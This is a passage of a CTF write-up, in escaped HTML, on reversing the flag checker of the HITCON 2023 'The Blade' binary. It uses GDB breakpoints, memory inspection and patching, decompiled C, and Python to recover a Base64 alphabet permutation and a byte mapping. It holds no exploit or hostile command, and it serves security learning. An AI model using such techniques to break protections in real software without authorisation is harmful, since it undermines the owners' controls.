data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;start&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break to determine __ptr location.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;61&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break to grab permuted string.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;935&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;server  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;run  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;flag abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get location of __ptr.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;p &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;$1 = 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get permuted string.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;x/s 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;All that&#39;s left is to match the characters.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; string

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; string&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ascii_letters &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; string&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;digits &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;+/&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Permuted string obtained from GDB.&lt;/span&gt;
permuted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

perm &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Permutation &lt;/span&gt;
rperm &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Reverse permutation&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
	j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; permuted&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
	perm&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; j
	rperm&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;First part done!&lt;/p&gt;
&lt;h3 id=&quot;2-constructing-an-inverse-map&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#2-constructing-an-inverse-map&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 2. Constructing An Inverse Map&lt;/h3&gt;
&lt;p&gt;Address: &lt;code&gt;113020&lt;/code&gt; – &lt;code&gt;11309c&lt;/code&gt;.&lt;/p&gt;
&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Part 2 Decompile&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Looks like a bunch of arithmetic.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar18 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar3 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;lVar20&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar19 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x101&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        uVar25 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar3&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar27 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar18&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar3 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar19 &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        iVar24 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        iVar26 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar18 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ulong&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;iVar26 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar19 &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; iVar24&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar19 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;short&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar3 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;lVar20&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar27 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xffff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; uVar27 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar27 &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; iVar24&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; iVar26 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xffffU&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x101&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x71U&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    lVar20 &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lVar20 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;Some type-casts were removed to simplify the code.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;If we reverse this statically, it &lt;em&gt;seems&lt;/em&gt; like we get a one-to-one mapping of sorts... almost a bijection... but perhaps our implementation is wrong? Better check it with dynamic analysis. 🫠&lt;/p&gt;
&lt;p&gt;By &amp;quot;&lt;em&gt;mapping&lt;/em&gt;&amp;quot;, I mean values are &lt;em&gt;transformed&lt;/em&gt; and mapped from one value to another. For example, &lt;code&gt;a&lt;/code&gt; (0x61) is mapped to &lt;code&gt;u&lt;/code&gt; (0x75), while &lt;code&gt;b&lt;/code&gt; (0x62) is mapped to &lt;code&gt;q&lt;/code&gt; (0x71).&lt;/p&gt;
&lt;p&gt;Like before, we &lt;em&gt;could&lt;/em&gt; reverse this part statically... but overflow and types are tricky to get right. So we&#39;ll go dynamic again!&lt;/p&gt;
&lt;p&gt;Let&#39;s start with some basic GDB analysis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What breakpoints should we add to check the result of one map iteration?&lt;/li&gt;
&lt;li&gt;What memory location should we examine?&lt;/li&gt;
&lt;li&gt;(And after all that, can you derive the mapping function?)&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Oh where to go?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;We&#39;ll break after &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;the loop, at &lt;code&gt;11309e&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;1070&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;As for memory location, the code still modifies &lt;code&gt;__ptr&lt;/code&gt;, so we&#39;ll read from the same location.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;x/16wx 0x5555555d63e0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Two things I&#39;d like to point out:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Previously, we used &lt;code&gt;x/s&lt;/code&gt; to print a string from memory. This time, I used &lt;code&gt;x/16wx&lt;/code&gt; to print bytes, since some mapped bytes aren&#39;t printable.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There&#39;s another problem... previously, we input the bytes through &lt;code&gt;flag &amp;lt;bytes&amp;gt;&lt;/code&gt;, and this is great if we&#39;re using printable chars. But what about &lt;em&gt;non-printable&lt;/em&gt; chars? There are different solutions around this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Employ &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#input-non-printable-characters&quot;&gt;GDB input tricks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Track cycles of characters.&lt;/li&gt;
&lt;li&gt;Break before mapping, and hard-code &lt;code&gt;__ptr&lt;/code&gt; by &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-memory&quot;&gt;modifying its memory&lt;/a&gt;.
Since the goal is to discover the remaining mappings, we&#39;ll hard-code &lt;code&gt;__ptr&lt;/code&gt; with the rest of the bytes outside our Base64 alphabet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Y&#39;know what? Let&#39;s go with the last option!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;start&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break before the loop.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;937&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break after the loop.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;1070&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint-before-loop triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Set 8x8 = 64 bytes. (I used a Python script to generate these `set` cmds from the missing input bytes.)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d63e0 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x0001020304050607&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d63e8 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x08090a0b0c0d0e0f&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;and so on...&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d6410 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x3c3d3e3f405b5c5d&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d6418 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x5e5f607b7c7d7e7f&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint-after-loop triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get mapped bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;x/16wx 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Repeat until all mappings are deduced...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Finished gathering data? Let&#39;s analyse it!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Values obtained with `x/16wx 0x5555555d63e0`.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Values before mapping.&lt;/span&gt;
dst &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
0x5555555d63e0: 0x76357052      0x6d5a412b      0x5758384d      0x67733179
